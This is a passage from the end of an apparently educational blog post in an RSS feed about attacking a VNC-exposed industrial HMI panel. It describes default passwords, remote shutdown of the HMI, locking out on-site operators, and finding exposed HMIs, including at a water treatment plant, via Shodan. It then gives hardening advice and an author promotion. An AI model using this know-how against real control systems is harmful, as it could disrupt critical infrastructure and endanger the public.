<strong>123456</strong> and <strong>password</strong>.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/583/1*9b0sDDsSijiibE3xwvFWYA.png" /></figure><h3>Post-Exploitation and Impact Assessment</h3><p>With the VNC password in hand, we log into the HMI panel. Once authenticated, we can perform several actions that demonstrate the risks associated with insecure configurations:</p><ol><li><strong>Shutdown the HMI Application:</strong> Disabling the HMI interface disrupts operations and can halt the associated industrial process.</li><li><strong>Locking Out Local Users:</strong> By disabling panel input when a VNC connection is active, we can prevent on-site operators from regaining control of the HMI.</li></ol><figure><img alt="" src="https://cdn-images-1.medium.com/max/423/1*1CoV0eEsPOmAH2h7HpFdew.png" /><figcaption>Remotely locking out local users</figcaption></figure><p>These actions underscore the critical need for robust security configurations to prevent malicious exploitation.</p><h3>Exposed HMI in the Wild</h3><p>By simply querying for generic VNC services, you can uncover countless HMIs exposed to the public internet.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/853/1*aKCdhe1b5kfW-0edGCPC1Q.png" /><figcaption>Shodan found a laundromat</figcaption></figure><p>The results can range from the somewhat humorous – such as an HMI in a laundromat displaying a washer and dryer interface – to the deeply concerning, such as P&amp;ID screens revealing the control interface for a water treatment facility.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/847/1*lElmJpe9lcaeXZbrRPxA5w.png" /><figcaption>…and an HMI showing the P&amp;ID’s of a water treatment process</figcaption></figure><h3>Key Learnings and Recommendations</h3><p>Weak passwords, unnecessary services, and insufficient access controls are common vulnerabilities that can be exploited with minimal effort. By following best practices like below, you can significantly improve the security posture of their industrial systems:</p><ol><li><strong>Disable Unused Remote Access Services:</strong> If remote access is unnecessary, disable the VNC service entirely. This eliminates a significant attack vector.</li><li><strong>Strengthen Password Policies:</strong> Replace weak, default passwords with strong, unique ones. Try a balanced approach that ensures quick access for operators while maintaining robust security.</li><li><strong>Regular Security Assessments:</strong> Periodically test and review HMI configurations to identify and remediate vulnerabilities. Incorporate penetration testing into routine security practices.</li><li><strong>Defense-in-Depth:</strong></li></ol><ul><li>Implement network segmentation to restrict access to HMI panels.</li><li>Use firewalls to permit access only from trusted hosts.</li><li>Deploy intrusion detection systems (IDS) to monitor for unauthorized access attempts.</li></ul><h3>About the Author</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*vY7tihasNXDY9gG4-dG4Cg.png" /></figure><p><strong>Marcel Rick-Cen</strong> is the founder and lead instructor at <a href="https://www.foxgrid.net/"><em>FOXGRID Industrial</em></a>, a learning platform built for engineers, hackers, and defenders who want to master industrial systems the right way.</p><p>An automation engineer turned OT security specialist, Marcel brings over two decades of hands-on experience — from global service engineering to tamper detection research at the German Bureau of Information Security. With a background in electrical engineering and a master’s degree focused on Operational Technology, he now works as an OT/IIoT Security Consultant by day and experiments as an OT hacker by night, uncovering real-world vulnerabilities in the systems that power industry.</p><p>Marcel has designed a complete, lab-driven training path for anyone who wants to go beyond theory and into real industrial hacking and defense. His courses cover:</p><ul><li>Offensive testing of industrial field devices and networks</li><li>Exploitation of embedded OT/IIoT hardware</li><li>Assessment and protection of industrial environments</li></ul><h3>LEVEL UP WITH FOXGRID NOW!</h3><p>🔥 As a Medium reader, you get <strong>30% off Marcel’s training </strong>— and join Marcel directly inside the labs.</p><p><a href="https://www.foxgrid.net/f/unlockotsec">👉 Click here to start your industrial hands-on journey</a></p><p>⌨️ <em>This article is AI-enhanced.</em></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=b840ffe1235f" width="1" height="1" alt="">]]></content:encoded>
        </item>
    </channel>
</rss>